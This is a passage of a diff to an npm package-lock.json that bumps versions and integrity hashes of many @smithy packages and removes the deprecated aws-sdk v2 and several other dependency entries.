+      "version": "4.3.14",
+      "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-4.3.14.tgz",
+      "integrity": "sha512-S+gFjyo/weSVL0P1b9Ts8C/CwIfNCgUPikk3sl6QVsfE/uUuO+QsF+NsE/JkpvWqqyz1wg7HFdiaZuj5CoBMRg==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/shared-ini-file-loader": "^4.4.7",
-        "@smithy/types": "^4.13.1",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/shared-ini-file-loader": "^4.4.9",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10819,14 +10864,14 @@
       }
     },
     "node_modules/@smithy/node-http-handler": {
-      "version": "4.5.1",
-      "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.5.1.tgz",
-      "integrity": "sha512-ejjxdAXjkPIs9lyYyVutOGNOraqUE9v/NjGMKwwFrfOM354wfSD8lmlj8hVwUzQmlLLF4+udhfCX9Exnbmvfzw==",
+      "version": "4.6.1",
+      "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.6.1.tgz",
+      "integrity": "sha512-iB+orM4x3xrr57X3YaXazfKnntl0LHlZB1kcXSGzMV1Tt0+YwEjGlbjk/44qEGtBzXAz6yFDzkYTKSV6Pj2HUg==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/querystring-builder": "^4.2.12",
-        "@smithy/types": "^4.13.1",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/querystring-builder": "^4.2.14",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10834,12 +10879,12 @@
       }
     },
     "node_modules/@smithy/property-provider": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/property-provider/-/property-provider-4.2.12.tgz",
-      "integrity": "sha512-jqve46eYU1v7pZ5BM+fmkbq3DerkSluPr5EhvOcHxygxzD05ByDRppRwRPPpFrsFo5yDtCYLKu+kreHKVrvc7A==",
+      "version": "4.2.14",
+      "resolved": "https://registry.npmjs.org/@smithy/property-provider/-/property-provider-4.2.14.tgz",
+      "integrity": "sha512-WuM31CgfsnQ/10i7NYr0PyxqknD72Y5uMfUMVSniPjbEPceiTErb4eIqJQ+pdxNEAUEWrewrGjIRjVbVHsxZiQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10847,12 +10892,12 @@
       }
     },
     "node_modules/@smithy/protocol-http": {
-      "version": "5.3.12",
-      "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-5.3.12.tgz",
-      "integrity": "sha512-fit0GZK9I1xoRlR4jXmbLhoN0OdEpa96ul8M65XdmXnxXkuMxM0Y8HDT0Fh0Xb4I85MBvBClOzgSrV1X2s1Hxw==",
+      "version": "5.3.14",
+      "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-5.3.14.tgz",
+      "integrity": "sha512-dN5F8kHx8RNU0r+pCwNmFZyz6ChjMkzShy/zup6MtkRmmix4vZzJdW+di7x//b1LiynIev88FM18ie+wwPcQtQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10860,12 +10905,12 @@
       }
     },
     "node_modules/@smithy/querystring-builder": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/querystring-builder/-/querystring-builder-4.2.12.tgz",
-      "integrity": "sha512-6wTZjGABQufekycfDGMEB84BgtdOE/rCVTov+EDXQ8NHKTUNIp/j27IliwP7tjIU9LR+sSzyGBOXjeEtVgzCHg==",
+      "version": "4.2.14",
+      "resolved": "https://registry.npmjs.org/@smithy/querystring-builder/-/querystring-builder-4.2.14.tgz",
+      "integrity": "sha512-XYA5Z0IqTeF+5XDdh4BBmSA0HvbgVZIyv4cmOoUheDNR57K1HgBp9ukUMx3Cr3XpDHHpLBnexPE3LAtDsZkj2A==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "@smithy/util-uri-escape": "^4.2.2",
         "tslib": "^2.6.2"
       },
@@ -10874,12 +10919,12 @@
       }
     },
     "node_modules/@smithy/querystring-parser": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/querystring-parser/-/querystring-parser-4.2.12.tgz",
-      "integrity": "sha512-P2OdvrgiAKpkPNKlKUtWbNZKB1XjPxM086NeVhK+W+wI46pIKdWBe5QyXvhUm3MEcyS/rkLvY8rZzyUdmyDZBw==",
+      "version": "4.2.14",
+      "resolved": "https://registry.npmjs.org/@smithy/querystring-parser/-/querystring-parser-4.2.14.tgz",
+      "integrity": "sha512-hr+YyqBD23GVvRxGGrcc/oOeNlK3PzT5Fu4dzrDXxzS1LpFiuL2PQQqKPs87M79aW7ziMs+nvB3qdw77SqE7Lw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10887,24 +10932,24 @@
       }
     },
     "node_modules/@smithy/service-error-classification": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/service-error-classification/-/service-error-classification-4.2.12.tgz",
-      "integrity": "sha512-LlP29oSQN0Tw0b6D0Xo6BIikBswuIiGYbRACy5ujw/JgWSzTdYj46U83ssf6Ux0GyNJVivs2uReU8pt7Eu9okQ==",
+      "version": "4.3.1",
+      "resolved": "https://registry.npmjs.org/@smithy/service-error-classification/-/service-error-classification-4.3.1.tgz",
+      "integrity": "sha512-aUQuDGh760ts/8MU+APjIZhlLPKhIIfqyzZaJikLEIMrdxFvxuLYD0WxWzaYWpmLbQlXDe9p7EWM3HsBe0K6Gw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1"
+        "@smithy/types": "^4.14.1"
       },
       "engines": {
         "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/shared-ini-file-loader": {
-      "version": "4.4.7",
-      "resolved": "https://registry.npmjs.org/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.4.7.tgz",
-      "integrity": "sha512-HrOKWsUb+otTeo1HxVWeEb99t5ER1XrBi/xka2Wv6NVmTbuCUC1dvlrksdvxFtODLBjsC+PHK+fuy2x/7Ynyiw==",
+      "version": "4.4.9",
+      "resolved": "https://registry.npmjs.org/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.4.9.tgz",
+      "integrity": "sha512-495/V2I15SHgedSJoDPD23JuSfKAp726ZI1V0wtjB07Wh7q/0tri/0e0DLefZCHgxZonrGKt/OCTpAtP1wE1kQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10912,16 +10957,16 @@
       }
     },
     "node_modules/@smithy/signature-v4": {
-      "version": "5.3.12",
-      "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.3.12.tgz",
-      "integrity": "sha512-B/FBwO3MVOL00DaRSXfXfa/TRXRheagt/q5A2NM13u7q+sHS59EOVGQNfG7DkmVtdQm5m3vOosoKAXSqn/OEgw==",
+      "version": "5.3.14",
+      "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.3.14.tgz",
+      "integrity": "sha512-1D9Y/nmlVjCeSivCbhZ7hgEpmHyY1h0GvpSZt3l0xcD9JjmjVC1CHOozS6+Gh+/ldMH8JuJ6cujObQqfayAVFA==",
       "license": "Apache-2.0",
       "dependencies": {
         "@smithy/is-array-buffer": "^4.2.2",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/types": "^4.13.1",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/types": "^4.14.1",
         "@smithy/util-hex-encoding": "^4.2.2",
-        "@smithy/util-middleware": "^4.2.12",
+        "@smithy/util-middleware": "^4.2.14",
         "@smithy/util-uri-escape": "^4.2.2",
         "@smithy/util-utf8": "^4.2.2",
         "tslib": "^2.6.2"
@@ -10931,17 +10976,17 @@
       }
     },
     "node_modules/@smithy/smithy-client": {
-      "version": "4.12.8",
-      "resolved": "https://registry.npmjs.org/@smithy/smithy-client/-/smithy-client-4.12.8.tgz",
-      "integrity": "sha512-aJaAX7vHe5i66smoSSID7t4rKY08PbD8EBU7DOloixvhOozfYWdcSYE4l6/tjkZ0vBZhGjheWzB2mh31sLgCMA==",
+      "version": "4.12.13",
+      "resolved": "https://registry.npmjs.org/@smithy/smithy-client/-/smithy-client-4.12.13.tgz",
+      "integrity": "sha512-y/Pcj1V9+qG98gyu1gvftHB7rDpdh+7kIBIggs55yGm3JdtBV8GT8IFF3a1qxZ79QnaJHX9GXzvBG6tAd+czJA==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/core": "^3.23.13",
-        "@smithy/middleware-endpoint": "^4.4.28",
-        "@smithy/middleware-stack": "^4.2.12",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/types": "^4.13.1",
-        "@smithy/util-stream": "^4.5.21",
+        "@smithy/core": "^3.23.17",
+        "@smithy/middleware-endpoint": "^4.4.32",
+        "@smithy/middleware-stack": "^4.2.14",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/types": "^4.14.1",
+        "@smithy/util-stream": "^4.5.25",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -10949,9 +10994,9 @@
       }
     },
     "node_modules/@smithy/types": {
-      "version": "4.13.1",
-      "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.13.1.tgz",
-      "integrity": "sha512-787F3yzE2UiJIQ+wYW1CVg2odHjmaWLGksnKQHUrK/lYZSEcy1msuLVvxaR/sI2/aDe9U+TBuLsXnr3vod1g0g==",
+      "version": "4.14.1",
+      "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.14.1.tgz",
+      "integrity": "sha512-59b5HtSVrVR/eYNei3BUj3DCPKD/G7EtDDe7OEJE7i7FtQFugYo6MxbotS8mVJkLNVf8gYaAlEBwwtJ9HzhWSg==",
       "license": "Apache-2.0",
       "dependencies": {
         "tslib": "^2.6.2"
@@ -10961,13 +11006,13 @@
       }
     },
     "node_modules/@smithy/url-parser": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/url-parser/-/url-parser-4.2.12.tgz",
-      "integrity": "sha512-wOPKPEpso+doCZGIlr+e1lVI6+9VAKfL4kZWFgzVgGWY2hZxshNKod4l2LXS3PRC9otH/JRSjtEHqQ/7eLciRA==",
+      "version": "4.2.14",
+      "resolved": "https://registry.npmjs.org/@smithy/url-parser/-/url-parser-4.2.14.tgz",
+      "integrity": "sha512-p06BiBigJ8bTA3MgnOfCtDUWnAMY0YfedO/GRpmc7p+wg3KW8vbXy1xwSu5ASy0wV7rRYtlfZOIKH4XqfhjSQQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/querystring-parser": "^4.2.12",
-        "@smithy/types": "^4.13.1",
+        "@smithy/querystring-parser": "^4.2.14",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -11038,14 +11083,14 @@
       }
     },
     "node_modules/@smithy/util-defaults-mode-browser": {
-      "version": "4.3.44",
-      "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.3.44.tgz",
-      "integrity": "sha512-eZg6XzaCbVr2S5cAErU5eGBDaOVTuTo1I65i4tQcHENRcZ8rMWhQy1DaIYUSLyZjsfXvmCqZrstSMYyGFocvHA==",
+      "version": "4.3.49",
+      "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.3.49.tgz",
+      "integrity": "sha512-a5bNrdiONYB/qE2BuKegvUMd/+ZDwdg4vsNuuSzYE8qs2EYAdK9CynL+Rzn29PbPiUqoz/cbpRbcLzD5lEevHw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/smithy-client": "^4.12.8",
-        "@smithy/types": "^4.13.1",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/smithy-client": "^4.12.13",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -11053,17 +11098,17 @@
       }
     },
     "node_modules/@smithy/util-defaults-mode-node": {
-      "version": "4.2.48",
-      "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.2.48.tgz",
-      "integrity": "sha512-FqOKTlqSaoV3nzO55pMs5NBnZX8EhoI0DGmn9kbYeXWppgHD6dchyuj2HLqp4INJDJbSrj6OFYJkAh/WhSzZPg==",
+      "version": "4.2.54",
+      "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.2.54.tgz",
+      "integrity": "sha512-g1cvrJvOnzeJgEdf7AE4luI7gp6L8weE0y9a9wQUSGtjb8QRHDbCJYuE4Sy0SD9N8RrnNPFsPltAz/OSoBR9Zw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/config-resolver": "^4.4.13",
-        "@smithy/credential-provider-imds": "^4.2.12",
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/smithy-client": "^4.12.8",
-        "@smithy/types": "^4.13.1",
+        "@smithy/config-resolver": "^4.4.17",
+        "@smithy/credential-provider-imds": "^4.2.14",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/smithy-client": "^4.12.13",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -11071,13 +11116,13 @@
       }
     },
     "node_modules/@smithy/util-endpoints": {
-      "version": "3.3.3",
-      "resolved": "https://registry.npmjs.org/@smithy/util-endpoints/-/util-endpoints-3.3.3.tgz",
-      "integrity": "sha512-VACQVe50j0HZPjpwWcjyT51KUQ4AnsvEaQ2lKHOSL4mNLD0G9BjEniQ+yCt1qqfKfiAHRAts26ud7hBjamrwig==",
+      "version": "3.4.2",
+      "resolved": "https://registry.npmjs.org/@smithy/util-endpoints/-/util-endpoints-3.4.2.tgz",
+      "integrity": "sha512-a55Tr+3OKld4TTtnT+RhKOQHyPxm3j/xL4OR83WBUhLJaKDS9dnJ7arRMOp3t31dcLhApwG9bgvrRXBHlLdIkg==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/types": "^4.13.1",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -11097,12 +11142,12 @@
       }
     },
     "node_modules/@smithy/util-middleware": {
-      "version": "4.2.12",
-      "resolved": "https://registry.npmjs.org/@smithy/util-middleware/-/util-middleware-4.2.12.tgz",
-      "integrity": "sha512-Er805uFUOvgc0l8nv0e0su0VFISoxhJ/AwOn3gL2NWNY2LUEldP5WtVcRYSQBcjg0y9NfG8JYrCJaYDpupBHJQ==",
+      "version": "4.2.14",
+      "resolved": "https://registry.npmjs.org/@smithy/util-middleware/-/util-middleware-4.2.14.tgz",
+      "integrity": "sha512-1Su2vj9RYNDEv/V+2E+jXkkwGsgR7dc4sfHn9Z7ruzQHJIEni9zzw5CauvRXlFJfmgcqYP8fWa0dkh2Q2YaQyw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -11110,13 +11155,13 @@
       }
     },
     "node_modules/@smithy/util-retry": {
-      "version": "4.2.13",
-      "resolved": "https://registry.npmjs.org/@smithy/util-retry/-/util-retry-4.2.13.tgz",
-      "integrity": "sha512-qQQsIvL0MGIbUjeSrg0/VlQ3jGNKyM3/2iU3FPNgy01z+Sp4OvcaxbgIoFOTvB61ZoohtutuOvOcgmhbD0katQ==",
+      "version": "4.3.5",
+      "resolved": "https://registry.npmjs.org/@smithy/util-retry/-/util-retry-4.3.5.tgz",
+      "integrity": "sha512-h1IJsbgMDA+jaTjrco/JsyfWOgHRJBv8myB1y4AEI2fjIzD6ktZ7pFAyTw+gwN9GKIAygvC6db0mq0j8N2rFOg==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/service-error-classification": "^4.2.12",
-        "@smithy/types": "^4.13.1",
+        "@smithy/service-error-classification": "^4.3.1",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -11124,14 +11169,14 @@
       }
     },
     "node_modules/@smithy/util-stream": {
-      "version": "4.5.21",
-      "resolved": "https://registry.npmjs.org/@smithy/util-stream/-/util-stream-4.5.21.tgz",
-      "integrity": "sha512-KzSg+7KKywLnkoKejRtIBXDmwBfjGvg1U1i/etkC7XSWUyFCoLno1IohV2c74IzQqdhX5y3uE44r/8/wuK+A7Q==",
+      "version": "4.5.25",
+      "resolved": "https://registry.npmjs.org/@smithy/util-stream/-/util-stream-4.5.25.tgz",
+      "integrity": "sha512-/PFpG4k8Ze8Ei+mMKj3oiPICYekthuzePZMgZbCqMiXIHHf4n2aZ4Ps0aSRShycFTGuj/J6XldmC0x0DwednIA==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/fetch-http-handler": "^5.3.15",
-        "@smithy/node-http-handler": "^4.5.1",
-        "@smithy/types": "^4.13.1",
+        "@smithy/fetch-http-handler": "^5.3.17",
+        "@smithy/node-http-handler": "^4.6.1",
+        "@smithy/types": "^4.14.1",
         "@smithy/util-base64": "^4.3.2",
         "@smithy/util-buffer-from": "^4.2.2",
         "@smithy/util-hex-encoding": "^4.2.2",
@@ -11168,12 +11213,12 @@
       }
     },
     "node_modules/@smithy/util-waiter": {
-      "version": "4.2.14",
-      "resolved": "https://registry.npmjs.org/@smithy/util-waiter/-/util-waiter-4.2.14.tgz",
-      "integrity": "sha512-2zqq5o/oizvMaFUlNiTyZ7dbgYv1a893aGut2uaxtbzTx/VYYnRxWzDHuD/ftgcw94ffenua+ZNLrbqwUYE+Bg==",
+      "version": "4.2.16",
+      "resolved": "https://registry.npmjs.org/@smithy/util-waiter/-/util-waiter-4.2.16.tgz",
+      "integrity": "sha512-GtclrKoZ3Lt7jPQ7aTIYKfjY92OgceScftVnkTsG8e1KV8rkvZgN+ny6YSRhd9hxB8rZtwVbmln7NTvE5O3GmQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -11267,15 +11312,6 @@
       "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==",
       "license": "MIT"
     },
-    "node_modules/@tootallnate/once": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz",
-      "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==",
-      "license": "MIT",
-      "engines": {
-        "node": ">= 10"
-      }
-    },
     "node_modules/@tsconfig/node10": {
       "version": "1.0.9",
       "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.9.tgz",
@@ -11323,12 +11359,6 @@
       "resolved": "https://registry.npmjs.org/@types/btoa-lite/-/btoa-lite-1.0.2.tgz",
       "integrity": "sha512-ZYbcE2x7yrvNFJiU7xJGrpF/ihpkM7zKgw8bha3LNJSesvTtUNxbpzaT7WXBIryf6jovisrxTBvymxMeLLj1Mg=="
     },
-    "node_modules/@types/caseless": {
-      "version": "0.12.5",
-      "resolved": "https://registry.npmjs.org/@types/caseless/-/caseless-0.12.5.tgz",
-      "integrity": "sha512-hWtVTC2q7hc7xZ/RLbxapMvDMgUnDvKvMOpKal4DrMyfGBUfB1oKaZlIRr6mJL+If3bAP6sV/QneGzF6tJjZDg==",
-      "license": "MIT"
-    },
     "node_modules/@types/chai": {
       "version": "5.2.3",
       "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz",
@@ -11437,19 +11467,6 @@
       "integrity": "sha512-DaZNUvLDCAnCTjgwxgiL1eQdxIKEpNLOlTNtAgnZc50bG2copGhRrFN9/PxPBuJe+tZVLCbQ7ls0xveXVRPkvw==",
       "license": "MIT"
     },
-    "node_modules/@types/jmespath": {
-      "version": "0.15.2",
-      "resolved": "https://registry.npmjs.org/@types/jmespath/-/jmespath-0.15.2.tgz",
-      "integrity": "sha512-pegh49FtNsC389Flyo9y8AfkVIZn9MMPE9yJrO9svhq6Fks2MwymULWjZqySuxmctd3ZH4/n7Mr98D+1Qo5vGA==",
-      "dev": true
-    },
-    "node_modules/@types/js-yaml": {
-      "version": "4.0.9",
-      "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-4.0.9.tgz",
-      "integrity": "sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==",
-      "dev": true,
-      "license": "MIT"
-    },
     "node_modules/@types/json-schema": {
       "version": "7.0.15",
       "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
@@ -11784,35 +11801,6 @@
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
       "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
     },
-    "node_modules/@types/request": {
-      "version": "2.48.12",
-      "resolved": "https://registry.npmjs.org/@types/request/-/request-2.48.12.tgz",
-      "integrity": "sha512-G3sY+NpsA9jnwm0ixhAFQSJ3Q9JkpLZpJbI3GMv0mIAT0y3mRabYeINzal5WOChIiaTEGQYlHOKgkaM9EisWHw==",
-      "license": "MIT",
-      "dependencies": {
-        "@types/caseless": "*",
-        "@types/node": "*",
-        "@types/tough-cookie": "*",
-        "form-data": "^2.5.0"
-      }
-    },
-    "node_modules/@types/request/node_modules/form-data": {
-      "version": "2.5.5",
-      "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.5.tgz",
-      "integrity": "sha512-jqdObeR2rxZZbPSGL+3VckHMYtu+f9//KXBsVny6JSX/pa38Fy+bGjuG8eW/H6USNQWhLi8Num++cU2yOCNz4A==",
-      "license": "MIT",
-      "dependencies": {
-        "asynckit": "^0.4.0",
-        "combined-stream": "^1.0.8",
-        "es-set-tostringtag": "^2.1.0",
-        "hasown": "^2.0.2",
-        "mime-types": "^2.1.35",
-        "safe-buffer": "^5.2.1"
-      },
-      "engines": {
-        "node": ">= 0.12"
-      }
-    },
     "node_modules/@types/resolve": {
       "version": "1.20.6",
       "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.20.6.tgz",
@@ -11905,12 +11893,6 @@
         "@types/node": "*"
       }
     },
-    "node_modules/@types/tough-cookie": {
-      "version": "4.0.5",
-      "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.5.tgz",
-      "integrity": "sha512-/Ad8+nIOV7Rl++6f1BdKxFSMgmoqEoYbHRpPcx3JEfv8VRsQe9Z4mCXeJBzxs7mbHY/XOZZuXlRNfhpVPbs6ZA==",
-      "license": "MIT"
-    },
     "node_modules/@types/triple-beam": {
       "version": "1.3.5",
       "resolved": "https://registry.npmjs.org/@types/triple-beam/-/triple-beam-1.3.5.tgz",
@@ -12196,16 +12178,6 @@
         }
       }
     },
-    "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.3.tgz",
-      "integrity": "sha512-MCV/fYJEbqx68aE58kv2cA/kiky1G8vux3OR6/jbS+jIMe/6fJWa0DTzJU7dqijOWYwHi1t29FlfYI9uytqlpA==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "balanced-match": "^1.0.0"
-      }
-    },
     "node_modules/@typescript-eslint/typescript-estree/node_modules/debug": {
       "version": "4.4.3",
       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
@@ -12427,15 +12399,6 @@
         "node": ">= 16"
       }
     },
-    "node_modules/@xmldom/xmldom": {
-      "version": "0.8.10",
-      "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.8.10.tgz",
-      "integrity": "sha512-2WALfTl4xo2SkGCYRt6rDTFfk9R1czmBvUQy12gK2KuRKIpWEhcbbzy8EZXtz/jkRqHX8bFEc6FC1HjX4TUWYw==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=10.0.0"
-      }
-    },
     "node_modules/abbrev": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
@@ -13136,102 +13099,10 @@
         "fastq": "^1.17.1"
       }
     },
-    "node_modules/aws-sdk": {
-      "version": "2.1693.0",
-      "resolved": "https://registry.npmjs.org/aws-sdk/-/aws-sdk-2.1693.0.tgz",
-      "integrity": "sha512-cJmb8xEnVLT+R6fBS5sn/EFJiX7tUnDaPtOPZ1vFbOJtd0fnZn/Ky2XGgsvvoeliWeH7mL3TWSX5zXXGSQV6gQ==",
-      "deprecated": "The AWS SDK for JavaScript (v2) has reached end-of-support, and no longer receives updates. Please migrate your code to use AWS SDK for JavaScript (v3). More info https://a.co/cUPnyil",
-      "hasInstallScript": true,
-      "license": "Apache-2.0",
-      "dependencies": {
-        "buffer": "4.9.2",
-        "events": "1.1.1",
-        "ieee754": "1.1.13",
-        "jmespath": "0.16.0",
-        "querystring": "0.2.0",
-        "sax": "1.2.1",
-        "url": "0.10.3",
-        "util": "^0.12.4",
-        "uuid": "8.0.0",
-        "xml2js": "0.6.2"
-      },
-      "engines": {
-        "node": ">= 10.0.0"
-      }
-    },
-    "node_modules/aws-sdk/node_modules/buffer": {
-      "version": "4.9.2",
-      "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz",
-      "integrity": "sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==",
-      "license": "MIT",
-      "dependencies": {
-        "base64-js": "^1.0.2",
-        "ieee754": "^1.1.4",
-        "isarray": "^1.0.0"
-      }
-    },
-    "node_modules/aws-sdk/node_modules/events": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz",
-      "integrity": "sha512-kEcvvCBByWXGnZy6JUlgAp2gBIUjfCAV6P6TgT1/aaQKcmuAEC4OZTV1I4EWQLz2gxZw76atuVyvHhTxvi0Flw==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=0.4.x"
-      }
-    },
-    "node_modules/aws-sdk/node_modules/ieee754": {
-      "version": "1.1.13",
-      "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.13.tgz",
-      "integrity": "sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg==",
-      "license": "BSD-3-Clause"
-    },
-    "node_modules/aws-sdk/node_modules/isarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-      "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
-      "license": "MIT"
-    },
-    "node_modules/aws-sdk/node_modules/sax": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.1.tgz",
-      "integrity": "sha512-8I2a3LovHTOpm7NV5yOyO8IHqgVsfK4+UuySrXU8YXkSRX7k6hCV9b3HrkKCr3nMpgj+0bmocaJJWpvp1oc7ZA==",
-      "license": "ISC"
-    },
-    "node_modules/aws-sdk/node_modules/uuid": {
-      "version": "8.0.0",
-      "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.0.0.tgz",
-      "integrity": "sha512-jOXGuXZAWdsTH7eZLtyXMqUb9EcWMGZNbL9YcGBJl4MH4nrxHmZJhEHvyLFrkxo+28uLb/NYRcStH48fnD0Vzw==",
-      "license": "MIT",
-      "bin": {
-        "uuid": "dist/bin/uuid"
-      }
-    },
-    "node_modules/aws-sdk/node_modules/xml2js": {
-      "version": "0.6.2",
-      "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.6.2.tgz",
-      "integrity": "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA==",
-      "license": "MIT",
-      "dependencies": {
-        "sax": ">=0.6.0",
-        "xmlbuilder": "~11.0.0"
-      },
-      "engines": {
-        "node": ">=4.0.0"
-      }
-    },
-    "node_modules/aws-sdk/node_modules/xmlbuilder": {
-      "version": "11.0.1",
-      "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz",
